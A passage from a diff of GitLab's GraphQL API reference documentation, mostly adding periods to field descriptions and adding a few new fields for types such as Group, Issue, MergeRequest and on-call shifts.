| Int | The interval (in days) in which the repository verification is valid. Once expired, it will be reverified. | +| `name` | String | The unique identifier for this Geo node. | +| `packageFileRegistries` | PackageFileRegistryConnection | Package file registries of the GeoNode. | +| `primary` | Boolean | Indicates whether this Geo node is the primary. | +| `reposMaxCapacity` | Int | The maximum concurrency of repository backfill for this secondary node. | +| `selectiveSyncNamespaces` | NamespaceConnection | The namespaces that should be synced, if `selective_sync_type` == `namespaces`. | +| `selectiveSyncShards` | String! => Array | The repository storages whose projects should be synced, if `selective_sync_type` == `shards`. | +| `selectiveSyncType` | String | Indicates if syncing is limited to only specific groups, or shards. | +| `snippetRepositoryRegistries` | SnippetRepositoryRegistryConnection | Find snippet repository registries on this Geo node. | +| `syncObjectStorage` | Boolean | Indicates if this secondary node will replicate blobs in Object Storage. | +| `terraformStateVersionRegistries` | TerraformStateVersionRegistryConnection | Find terraform state version registries on this Geo node. | +| `url` | String | The user-facing URL for this Geo node. | +| `verificationMaxCapacity` | Int | The maximum concurrency of repository verification for this secondary node. | + +### GitlabSubscriptionActivatePayload + +Autogenerated return type of GitlabSubscriptionActivate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | ### GrafanaIntegration | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | Timestamp of the issue's creation | -| `enabled` | Boolean! | Indicates whether Grafana integration is enabled | -| `grafanaUrl` | String! | URL for the Grafana host for the Grafana integration | -| `id` | ID! | Internal ID of the Grafana integration | -| `updatedAt` | Time! | Timestamp of the issue's last activity | +| `createdAt` | Time! | Timestamp of the issue's creation. | +| `enabled` | Boolean! | Indicates whether Grafana integration is enabled. | +| `grafanaUrl` | String! | URL for the Grafana host for the Grafana integration. | +| `id` | ID! | Internal ID of the Grafana integration. | +| `updatedAt` | Time! | Timestamp of the issue's last activity. | ### Group | Field | Type | Description | | ----- | ---- | ----------- | -| `actualRepositorySizeLimit` | Float | Size limit for repositories in the namespace in bytes | -| `additionalPurchasedStorageSize` | Float | Additional storage purchased for the root namespace in bytes | -| `autoDevopsEnabled` | Boolean | Indicates whether Auto DevOps is enabled for all projects within this group | -| `avatarUrl` | String | Avatar URL of the group | -| `board` | Board | A single board of the group | -| `boards` | BoardConnection | Boards of the group | -| `codeCoverageActivities` | CodeCoverageActivityConnection | Represents the code coverage activity for this group | +| `actualRepositorySizeLimit` | Float | Size limit for repositories in the namespace in bytes. | +| `additionalPurchasedStorageSize` | Float | Additional storage purchased for the root namespace in bytes. | +| `autoDevopsEnabled` | Boolean | Indicates whether Auto DevOps is enabled for all projects within this group. | +| `avatarUrl` | String | Avatar URL of the group. | +| `board` | Board | A single board of the group. | +| `boards` | BoardConnection | Boards of the group. | +| `codeCoverageActivities` | CodeCoverageActivityConnection | Represents the code coverage activity for this group. | | `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks available to projects in this namespace. Available only when feature flag `ff_custom_compliance_frameworks` is enabled. | -| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the group | -| `containerRepositoriesCount` | Int! | Number of container repositories in the group | -| `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit | -| `customEmoji` | CustomEmojiConnection | Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled. | -| `description` | String | Description of the namespace | +| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the group. | +| `containerRepositoriesCount` | Int! | Number of container repositories in the group. | +| `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit. | +| `customEmoji` | CustomEmojiConnection | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled. | +| `description` | String | Description of the namespace. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `emailsDisabled` | Boolean | Indicates if a group has email notifications disabled | -| `epic` | Epic | Find a single epic | -| `epicBoard` | EpicBoard | Find a single epic board | -| `epicBoards` | EpicBoardConnection | Find epic boards | -| `epics` | EpicConnection | Find epics | +| `emailsDisabled` | Boolean | Indicates if a group has email notifications disabled. | +| `epic` | Epic | Find a single epic. | +| `epicBoard` | EpicBoard | Find a single epic board. | +| `epicBoards` | EpicBoardConnection | Find epic boards. | +| `epics` | EpicConnection | Find epics. | | `epicsEnabled` | Boolean | Indicates if Epics are enabled for namespace | -| `fullName` | String! | Full name of the namespace | -| `fullPath` | ID! | Full path of the namespace | -| `groupMembers` | GroupMemberConnection | A membership of a user within this group | +| `fullName` | String! | Full name of the namespace. | +| `fullPath` | ID! | Full path of the namespace. | +| `groupMembers` | GroupMemberConnection | A membership of a user within this group. | | `groupTimelogsEnabled` | Boolean | Indicates if Group timelogs are enabled for namespace | -| `id` | ID! | ID of the namespace | -| `isTemporaryStorageIncreaseEnabled` | Boolean! | Status of the temporary storage increase | -| `issues` | IssueConnection | Issues for projects in this group | -| `iterations` | IterationConnection | Find iterations | -| `label` | Label | A label available on this group | -| `labels` | LabelConnection | Labels available on this group | -| `lfsEnabled` | Boolean | Indicates if Large File Storage (LFS) is enabled for namespace | -| `mentionsDisabled` | Boolean | Indicates if a group is disabled from getting mentioned | -| `mergeRequests` | MergeRequestConnection | Merge requests for projects in this group | -| `milestones` | MilestoneConnection | Milestones of the group | -| `name` | String! | Name of the namespace | -| `packageSettings` | PackageSettings | The package settings for the namespace | -| `parent` | Group | Parent group | -| `path` | String! | Path of the namespace | -| `projectCreationLevel` | String | The permission level required to create projects in the group | -| `projects` | ProjectConnection! | Projects within this namespace | -| `repositorySizeExcessProjectCount` | Int! | Number of projects in the root namespace where the repository size exceeds the limit | -| `requestAccessEnabled` | Boolean | Indicates if users can request access to namespace | -| `requireTwoFactorAuthentication` | Boolean | Indicates if all users in this group are required to set up two-factor authentication | -| `rootStorageStatistics` | RootStorageStatistics | Aggregated storage statistics of the namespace. Only available for root namespaces | -| `shareWithGroupLock` | Boolean | Indicates if sharing a project with another group within this group is prevented | -| `stats` | GroupStats | Group statistics | -| `storageSizeLimit` | Float | Total storage limit of the root namespace in bytes | -| `subgroupCreationLevel` | String | The permission level required to create subgroups within the group | -| `temporaryStorageIncreaseEndsOn` | Time | Date until the temporary storage increase is active | -| `timelogs` | TimelogConnection! | Time logged in issues by group members | -| `totalRepositorySize` | Float | Total repository size of all projects in the root namespace in bytes | -| `totalRepositorySizeExcess` | Float | Total excess repository size of all projects in the root namespace in bytes | -| `twoFactorGracePeriod` | Int | Time before two-factor authentication is enforced | +| `id` | ID! | ID of the namespace. | +| `isTemporaryStorageIncreaseEnabled` | Boolean! | Status of the temporary storage increase. | +| `issues` | IssueConnection | Issues for projects in this group. | +| `iterations` | IterationConnection | Find iterations. | +| `label` | Label | A label available on this group. | +| `labels` | LabelConnection | Labels available on this group. | +| `lfsEnabled` | Boolean | Indicates if Large File Storage (LFS) is enabled for namespace. | +| `mentionsDisabled` | Boolean | Indicates if a group is disabled from getting mentioned. | +| `mergeRequests` | MergeRequestConnection | Merge requests for projects in this group. | +| `milestones` | MilestoneConnection | Milestones of the group. | +| `name` | String! | Name of the namespace. | +| `packageSettings` | PackageSettings | The package settings for the namespace. | +| `parent` | Group | Parent group. | +| `path` | String! | Path of the namespace. | +| `projectCreationLevel` | String | The permission level required to create projects in the group. | +| `projects` | ProjectConnection! | Projects within this namespace. | +| `repositorySizeExcessProjectCount` | Int! | Number of projects in the root namespace where the repository size exceeds the limit. | +| `requestAccessEnabled` | Boolean | Indicates if users can request access to namespace. | +| `requireTwoFactorAuthentication` | Boolean | Indicates if all users in this group are required to set up two-factor authentication. | +| `rootStorageStatistics` | RootStorageStatistics | Aggregated storage statistics of the namespace. Only available for root namespaces. | +| `shareWithGroupLock` | Boolean | Indicates if sharing a project with another group within this group is prevented. | +| `stats` | GroupStats | Group statistics. | +| `storageSizeLimit` | Float | Total storage limit of the root namespace in bytes. | +| `subgroupCreationLevel` | String | The permission level required to create subgroups within the group. | +| `temporaryStorageIncreaseEndsOn` | Time | Date until the temporary storage increase is active. | +| `timelogs` | TimelogConnection! | Time logged in issues by group members. | +| `totalRepositorySize` | Float | Total repository size of all projects in the root namespace in bytes. | +| `totalRepositorySizeExcess` | Float | Total excess repository size of all projects in the root namespace in bytes. | +| `twoFactorGracePeriod` | Int | Time before two-factor authentication is enforced. | | `userPermissions` | GroupPermissions! | Permissions for the current user on the resource | -| `visibility` | String | Visibility of the namespace | -| `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the projects in the group and its subgroups | -| `vulnerabilitiesCountByDay` | VulnerabilitiesCountByDayConnection | Number of vulnerabilities per day for the projects in the group and its subgroups | +| `visibility` | String | Visibility of the namespace. | +| `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the projects in the group and its subgroups. | +| `vulnerabilitiesCountByDay` | VulnerabilitiesCountByDayConnection | Number of vulnerabilities per day for the projects in the group and its subgroups. | | `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | VulnerabilitiesCountByDayAndSeverityConnection | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3. | -| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade | -| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the project vulnerabilties of the group and its subgroups | -| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the group and its subgroups | -| `webUrl` | String! | Web URL of the group | +| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade. | +| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the project vulnerabilities of the group and its subgroups. | +| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the group and its subgroups. | +| `webUrl` | String! | Web URL of the group. | ### GroupMember @@ -1684,14 +1854,14 @@ Represents a Group Membership. | Field | Type | Description | | ----- | ---- | ----------- | -| `accessLevel` | AccessLevel | GitLab::Access level | -| `createdAt` | Time | Date and time the membership was created | -| `createdBy` | User | User that authorized membership | -| `expiresAt` | Time | Date and time the membership expires | -| `group` | Group | Group that a User is a member of | -| `id` | ID! | ID of the member | -| `updatedAt` | Time | Date and time the membership was last updated | -| `user` | User! | User that is associated with the member object | +| `accessLevel` | AccessLevel | GitLab::Access level. | +| `createdAt` | Time | Date and time the membership was created. | +| `createdBy` | User | User that authorized membership. | +| `expiresAt` | Time | Date and time the membership expires. | +| `group` | Group | Group that a User is a member of. | +| `id` | ID! | ID of the member. | +| `updatedAt` | Time | Date and time the membership was last updated. | +| `user` | User! | User that is associated with the member object. | | `userPermissions` | GroupPermissions! | Permissions for the current user on the resource | ### GroupPermissions @@ -1715,7 +1885,7 @@ Contains statistics about a group. | Field | Type | Description | | ----- | ---- | ----------- | -| `releaseStats` | GroupReleaseStats | Statistics related to releases within the group | +| `releaseStats` | GroupReleaseStats | Statistics related to releases within the group. | ### HttpIntegrationCreatePayload @@ -1768,6 +1938,7 @@ Describes an incident management on-call rotation. | `lengthUnit` | OncallRotationUnitEnum | Unit of the on-call rotation length. | | `name` | String! | Name of the on-call rotation. | | `participants` | OncallParticipantTypeConnection | Participants of the on-call rotation. | +| `shifts` | IncidentManagementOncallShiftConnection | Blocks of time for which a participant is on-call within a given time frame. Time frame cannot exceed one month. | | `startsAt` | Time | Start date of the on-call rotation. | ### IncidentManagementOncallSchedule @@ -1776,20 +1947,30 @@ Describes an incident management on-call schedule. | Field | Type | Description | | ----- | ---- | ----------- | -| `description` | String | Description of the on-call schedule | -| `iid` | ID! | Internal ID of the on-call schedule | -| `name` | String! | Name of the on-call schedule | -| `rotations` | IncidentManagementOncallRotationConnection! | On-call rotations for the on-call schedule | -| `timezone` | String! | Time zone of the on-call schedule | +| `description` | String | Description of the on-call schedule. | +| `iid` | ID! | Internal ID of the on-call schedule. | +| `name` | String! | Name of the on-call schedule. | +| `rotations` | IncidentManagementOncallRotationConnection! | On-call rotations for the on-call schedule. | +| `timezone` | String! | Time zone of the on-call schedule. | + +### IncidentManagementOncallShift + +A block of time for which a participant is on-call.. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `endsAt` | Time | End time of the on-call shift. | +| `participant` | OncallParticipantType | Participant assigned to the on-call shift. | +| `startsAt` | Time | Start time of the on-call shift. | ### InstanceSecurityDashboard | Field | Type | Description | | ----- | ---- | ----------- | -| `projects` | ProjectConnection! | Projects selected in Instance Security Dashboard | -| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade | -| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the vulnerabilties from projects selected in Instance Security Dashboard | -| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity from projects selected in Instance Security Dashboard | +| `projects` | ProjectConnection! | Projects selected in Instance Security Dashboard. | +| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade. | +| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the vulnerabilities from projects selected in Instance Security Dashboard. | +| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity from projects selected in Instance Security Dashboard. | ### InstanceStatisticsMeasurement @@ -1797,67 +1978,67 @@ Represents a recorded measurement (object count) for the Admins. | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int! | Object count | -| `identifier` | MeasurementIdentifier! | The type of objects being measured | -| `recordedAt` | Time | The time the measurement was recorded | +| `count` | Int! | Object count. | +| `identifier` | MeasurementIdentifier! | The type of objects being measured. | +| `recordedAt` | Time | The time the measurement was recorded. | ### Issue | Field | Type | Description | | ----- | ---- | ----------- | -| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue | -| `assignees` | UserConnection | Assignees of the issue | -| `author` | User! | User that created the issue | +| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue. | +| `assignees` | UserConnection | Assignees of the issue. | +| `author` | User! | User that created the issue. | | `blocked` | Boolean! | Indicates the issue is blocked. | | `blockedByCount` | Int | Count of issues blocking this issue. | -| `closedAt` | Time | Timestamp of when the issue was closed | -| `confidential` | Boolean! | Indicates the issue is confidential | -| `createNoteEmail` | String | User specific email address for the issue | -| `createdAt` | Time! | Timestamp of when the issue was created | -| `currentUserTodos` | TodoConnection! | Todos for the current user | -| `description` | String | Description of the issue | +| `closedAt` | Time | Timestamp of when the issue was closed. | +| `confidential` | Boolean! | Indicates the issue is confidential. | +| `createNoteEmail` | String | User specific email address for the issue. | +| `createdAt` | Time! | Timestamp of when the issue was created. | +| `currentUserTodos` | TodoConnection! | To-do items for the current user. | +| `description` | String | Description of the issue. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `designCollection` | DesignCollection | Collection of design images associated with this issue | -| `discussionLocked` | Boolean! | Indicates discussion is locked on the issue | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `downvotes` | Int! | Number of downvotes the issue has received | -| `dueDate` | Time | Due date of the issue | -| `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled | +| `designCollection` | DesignCollection | Collection of design images associated with this issue. | +| `discussionLocked` | Boolean! | Indicates discussion is locked on the issue. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `downvotes` | Int! | Number of downvotes the issue has received. | +| `dueDate` | Time | Due date of the issue. | +| `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled. | | `epic` | Epic | Epic to which this issue belongs. | | `healthStatus` | HealthStatus | Current health status. | -| `humanTimeEstimate` | String | Human-readable time estimate of the issue | -| `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue | -| `id` | ID! | ID of the issue | -| `iid` | ID! | Internal ID of the issue | +| `humanTimeEstimate` | String | Human-readable time estimate of the issue. | +| `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue. | +| `id` | ID! | ID of the issue. | +| `iid` | ID! | Internal ID of the issue. | | `iteration` | Iteration | Iteration of the issue. | -| `labels` | LabelConnection | Labels of the issue | +| `labels` | LabelConnection | Labels of the issue. | | `metricImages` | MetricImage! => Array | Metric images associated to the issue. | -| `milestone` | Milestone | Milestone of the issue | -| `moved` | Boolean | Indicates if issue got moved from other project | -| `movedTo` | Issue | Updated Issue after it got moved to another project | -| `notes` | NoteConnection! | All notes on this noteable | -| `participants` | UserConnection | List of participants in the issue | -| `reference` | String! | Internal reference of the issue. Returned in shortened format by default | -| `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards) | -| `severity` | IssuableSeverity | Severity level of the incident | +| `milestone` | Milestone | Milestone of the issue. | +| `moved` | Boolean | Indicates if issue got moved from other project. | +| `movedTo` | Issue | Updated Issue after it got moved to another project. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `participants` | UserConnection | List of participants in the issue. | +| `reference` | String! | Internal reference of the issue. Returned in shortened format by default. | +| `relativePosition` | Int | Relative position of the issue (used for positioning in epic tree and issue boards). | +| `severity` | IssuableSeverity | Severity level of the incident. | | `slaDueAt` | Time | Timestamp of when the issue SLA expires. | -| `state` | IssueState! | State of the issue | +| `state` | IssueState! | State of the issue. | | `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page. | -| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue | -| `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue | -| `timeEstimate` | Int! | Time estimate of the issue | -| `title` | String! | Title of the issue | +| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue. | +| `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue. | +| `timeEstimate` | Int! | Time estimate of the issue. | +| `title` | String! | Title of the issue. | | `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` | -| `totalTimeSpent` | Int! | Total time reported as spent on the issue | -| `type` | IssueType | Type of the issue | -| `updatedAt` | Time! | Timestamp of when the issue was last updated | -| `updatedBy` | User | User that last updated the issue | -| `upvotes` | Int! | Number of upvotes the issue has received | -| `userDiscussionsCount` | Int! | Number of user discussions in the issue | -| `userNotesCount` | Int! | Number of user notes of the issue | +| `totalTimeSpent` | Int! | Total time reported as spent on the issue. | +| `type` | IssueType | Type of the issue. | +| `updatedAt` | Time! | Timestamp of when the issue was last updated. | +| `updatedBy` | User | User that last updated the issue. | +| `upvotes` | Int! | Number of upvotes the issue has received. | +| `userDiscussionsCount` | Int! | Number of user discussions in the issue. | +| `userNotesCount` | Int! | Number of user notes of the issue. | | `userPermissions` | IssuePermissions! | Permissions for the current user on the resource | -| `webPath` | String! | Web path of the issue | -| `webUrl` | String! | Web URL of the issue | +| `webPath` | String! | Web path of the issue. | +| `webUrl` | String! | Web URL of the issue. | | `weight` | Int | Weight of the issue. | ### IssueMoveListPayload @@ -2001,33 +2182,33 @@ Represents an iteration object. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time! | Timestamp of iteration creation | -| `description` | String | Description of the iteration | +| `createdAt` | Time! | Timestamp of iteration creation. | +| `description` | String | Description of the iteration. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `dueDate` | Time | Timestamp of the iteration due date | -| `id` | ID! | ID of the iteration | -| `iid` | ID! | Internal ID of the iteration | -| `report` | TimeboxReport | Historically accurate report about the timebox | -| `scopedPath` | String | Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts | -| `scopedUrl` | String | Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts | -| `startDate` | Time | Timestamp of the iteration start date | -| `state` | IterationState! | State of the iteration | -| `title` | String! | Title of the iteration | -| `updatedAt` | Time! | Timestamp of last iteration update | -| `webPath` | String! | Web path of the iteration | -| `webUrl` | String! | Web URL of the iteration | +| `dueDate` | Time | Timestamp of the iteration due date. | +| `id` | ID! | ID of the iteration. | +| `iid` | ID! | Internal ID of the iteration. | +| `report` | TimeboxReport | Historically accurate report about the timebox. | +| `scopedPath` | String | Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. | +| `scopedUrl` | String | Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. | +| `startDate` | Time | Timestamp of the iteration start date. | +| `state` | IterationState! | State of the iteration. | +| `title` | String! | Title of the iteration. | +| `updatedAt` | Time! | Timestamp of last iteration update. | +| `webPath` | String! | Web path of the iteration. | +| `webUrl` | String! | Web URL of the iteration. | ### JiraImport | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time | Timestamp of when the Jira import was created | -| `failedToImportCount` | Int! | Count of issues that failed to import | -| `importedIssuesCount` | Int! | Count of issues that were successfully imported | -| `jiraProjectKey` | String! | Project key for the imported Jira project | -| `scheduledAt` | Time | Timestamp of when the Jira import was scheduled | -| `scheduledBy` | User | User that started the Jira import | -| `totalIssueCount` | Int! | Total count of issues that were attempted to import | +| `createdAt` | Time | Timestamp of when the Jira import was created. | +| `failedToImportCount` | Int! | Count of issues that failed to import. | +| `importedIssuesCount` | Int! | Count of issues that were successfully imported. | +| `jiraProjectKey` | String! | Project key for the imported Jira project. | +| `scheduledAt` | Time | Timestamp of when the Jira import was scheduled. | +| `scheduledBy` | User | User that started the Jira import. | +| `totalIssueCount` | Int! | Total count of issues that were attempted to import. | ### JiraImportStartPayload @@ -2053,39 +2234,39 @@ Autogenerated return type of JiraImportUsers. | Field | Type | Description | | ----- | ---- | ----------- | -| `key` | String! | Key of the Jira project | -| `name` | String | Name of the Jira project | -| `projectId` | Int! | ID of the Jira project | +| `key` | String! | Key of the Jira project. | +| `name` | String | Name of the Jira project. | +| `projectId` | Int! | ID of the Jira project. | ### JiraService | Field | Type | Description | | ----- | ---- | ----------- | -| `active` | Boolean | Indicates if the service is active | -| `projects` | JiraProjectConnection | List of all Jira projects fetched through Jira REST API | -| `type` | String | Class name of the service | +| `active` | Boolean | Indicates if the service is active. | +| `projects` | JiraProjectConnection | List of all Jira projects fetched through Jira REST API. | +| `type` | String | Class name of the service. | ### JiraUser | Field | Type | Description | | ----- | ---- | ----------- | -| `gitlabId` | Int | ID of the matched GitLab user | -| `gitlabName` | String | Name of the matched GitLab user | -| `gitlabUsername` | String | Username of the matched GitLab user | -| `jiraAccountId` | String! | Account ID of the Jira user | -| `jiraDisplayName` | String! | Display name of the Jira user | -| `jiraEmail` | String | Email of the Jira user, returned only for users with public emails | +| `gitlabId` | Int | ID of the matched GitLab user. | +| `gitlabName` | String | Name of the matched GitLab user. | +| `gitlabUsername` | String | Username of the matched GitLab user. | +| `jiraAccountId` | String! | Account ID of the Jira user. | +| `jiraDisplayName` | String! | Display name of the Jira user. | +| `jiraEmail` | String | Email of the Jira user, returned only for users with public emails. | ### Label | Field | Type | Description | | ----- | ---- | ----------- | -| `color` | String! | Background color of the label | -| `description` | String | Description of the label (Markdown rendered as HTML for caching) | +| `color` | String! | Background color of the label. | +| `description` | String | Description of the label (Markdown rendered as HTML for caching). | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `id` | ID! | Label ID | -| `textColor` | String! | Text color of the label | -| `title` | String! | Content of the label | +| `id` | ID! | Label ID. | +| `textColor` | String! | Text color of the label. | +| `title` | String! | Content of the label. | ### LabelCreatePayload @@ -2111,88 +2292,89 @@ Autogenerated return type of MarkAsSpamSnippet. | Field | Type | Description | | ----- | ---- | ----------- | -| `allowCollaboration` | Boolean | Indicates if members of the target project can push to the fork | -| `approvalsLeft` | Int | Number of approvals left | -| `approvalsRequired` | Int | Number of approvals required | +| `allowCollaboration` | Boolean | Indicates if members of the target project can push to the fork. | +| `approvalsLeft` | Int | Number of approvals left. | +| `approvalsRequired` | Int | Number of approvals required. | | `approved` | Boolean! | Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured. | -| `approvedBy` | UserConnection | Users who approved the merge request | -| `assignees` | UserConnection | Assignees of the merge request | -| `author` | User | User who created this merge request | -| `autoMergeEnabled` | Boolean! | Indicates if auto merge is enabled for the merge request | -| `autoMergeStrategy` | String | Selected auto merge strategy | -| `availableAutoMergeStrategies` | String! => Array | Array of available auto merge strategies | -| `commitCount` | Int | Number of commits in the merge request | -| `commitsWithoutMergeCommits` | CommitConnection | Merge request commits excluding merge commits | -| `conflicts` | Boolean! | Indicates if the merge request has conflicts | -| `createdAt` | Time! | Timestamp of when the merge request was created | -| `currentUserTodos` | TodoConnection! | Todos for the current user | -| `defaultMergeCommitMessage` | String | Default merge commit message of the merge request | -| `defaultMergeCommitMessageWithDescription` | String | Default merge commit message of the merge request with description | -| `defaultSquashCommitMessage` | String | Default squash commit message of the merge request | -| `description` | String | Description of the merge request (Markdown rendered as HTML for caching) | +| `approvedBy` | UserConnection | Users who approved the merge request. | +| `assignees` | UserConnection | Assignees of the merge request. | +| `author` | User | User who created this merge request. | +| `autoMergeEnabled` | Boolean! | Indicates if auto merge is enabled for the merge request. | +| `autoMergeStrategy` | String | Selected auto merge strategy. | +| `availableAutoMergeStrategies` | String! => Array | Array of available auto merge strategies. | +| `commitCount` | Int | Number of commits in the merge request. | +| `commitsWithoutMergeCommits` | CommitConnection | Merge request commits excluding merge commits. | +| `conflicts` | Boolean! | Indicates if the merge request has conflicts. | +| `createdAt` | Time! | Timestamp of when the merge request was created. | +| `currentUserTodos` | TodoConnection! | To-do items for the current user. | +| `defaultMergeCommitMessage` | String | Default merge commit message of the merge request. | +| `defaultMergeCommitMessageWithDescription` | String | Default merge commit message of the merge request with description. | +| `defaultSquashCommitMessage` | String | Default squash commit message of the merge request. | +| `description` | String | Description of the merge request (Markdown rendered as HTML for caching). | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `diffHeadSha` | String | Diff head SHA of the merge request | -| `diffRefs` | DiffRefs | References of the base SHA, the head SHA, and the start SHA for this merge request | -| `diffStats` | DiffStats! => Array | Details about which files were changed in this merge request | -| `diffStatsSummary` | DiffStatsSummary | Summary of which files were changed in this merge request | -| `discussionLocked` | Boolean! | Indicates if comments on the merge request are locked to members only | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `downvotes` | Int! | Number of downvotes for the merge request | -| `forceRemoveSourceBranch` | Boolean | Indicates if the project settings will lead to source branch deletion after merge | -| `hasCi` | Boolean! | Indicates if the merge request has CI | -| `headPipeline` | Pipeline | The pipeline running on the branch HEAD of the merge request | -| `id` | ID! | ID of the merge request | -| `iid` | String! | Internal ID of the merge request | -| `inProgressMergeCommitSha` | String | Commit SHA of the merge request if merge is in progress | -| `labels` | LabelConnection | Labels of the merge request | -| `mergeCommitSha` | String | SHA of the merge request commit (set once merged) | -| `mergeError` | String | Error message due to a merge error | -| `mergeOngoing` | Boolean! | Indicates if a merge is currently occurring | -| `mergeStatus` | String | Status of the merge request | -| `mergeTrainsCount` | Int | | -| `mergeUser` | User | User who merged this merge request | -| `mergeWhenPipelineSucceeds` | Boolean | Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS) | -| `mergeable` | Boolean! | Indicates if the merge request is mergeable | -| `mergeableDiscussionsState` | Boolean | Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged | -| `mergedAt` | Time | Timestamp of when the merge request was merged, null if not merged | -| `milestone` | Milestone | The milestone of the merge request | -| `notes` | NoteConnection! | All notes on this noteable | +| `diffHeadSha` | String | Diff head SHA of the merge request. | +| `diffRefs` | DiffRefs | References of the base SHA, the head SHA, and the start SHA for this merge request. | +| `diffStats` | DiffStats! => Array | Details about which files were changed in this merge request. | +| `diffStatsSummary` | DiffStatsSummary | Summary of which files were changed in this merge request. | +| `discussionLocked` | Boolean! | Indicates if comments on the merge request are locked to members only. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `downvotes` | Int! | Number of downvotes for the merge request. | +| `forceRemoveSourceBranch` | Boolean | Indicates if the project settings will lead to source branch deletion after merge. | +| `hasCi` | Boolean! | Indicates if the merge request has CI. | +| `hasSecurityReports` | Boolean! | Indicates if the source branch has any security reports. | +| `headPipeline` | Pipeline | The pipeline running on the branch HEAD of the merge request. | +| `id` | ID! | ID of the merge request. | +| `iid` | String! | Internal ID of the merge request. | +| `inProgressMergeCommitSha` | String | Commit SHA of the merge request if merge is in progress. | +| `labels` | LabelConnection | Labels of the merge request. | +| `mergeCommitSha` | String | SHA of the merge request commit (set once merged). | +| `mergeError` | String | Error message due to a merge error. | +| `mergeOngoing` | Boolean! | Indicates if a merge is currently occurring. | +| `mergeStatus` | String | Status of the merge request. | +| `mergeTrainsCount` | Int | Number of merge requests in the merge train. | +| `mergeUser` | User | User who merged this merge request. | +| `mergeWhenPipelineSucceeds` | Boolean | Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS). | +| `mergeable` | Boolean! | Indicates if the merge request is mergeable. | +| `mergeableDiscussionsState` | Boolean | Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged. | +| `mergedAt` | Time | Timestamp of when the merge request was merged, null if not merged. | +| `milestone` | Milestone | The milestone of the merge request. | +| `notes` | NoteConnection! | All notes on this noteable. | | `participants` | UserConnection | Participants in the merge request. This includes the author, assignees, reviewers, and users mentioned in notes. | | `pipelines` | PipelineConnection | Pipelines for the merge request. Note: for performance reasons, no more than the most recent 500 pipelines will be returned. | -| `project` | Project! | Alias for target_project | -| `projectId` | Int! | ID of the merge request project | -| `rebaseCommitSha` | String | Rebase commit SHA of the merge request | -| `rebaseInProgress` | Boolean! | Indicates if there is a rebase currently in progress for the merge request | -| `reference` | String! | Internal reference of the merge request. Returned in shortened format by default | +| `project` | Project! | Alias for target_project. | +| `projectId` | Int! | ID of the merge request project. | +| `rebaseCommitSha` | String | Rebase commit SHA of the merge request. | +| `rebaseInProgress` | Boolean! | Indicates if there is a rebase currently in progress for the merge request. | +| 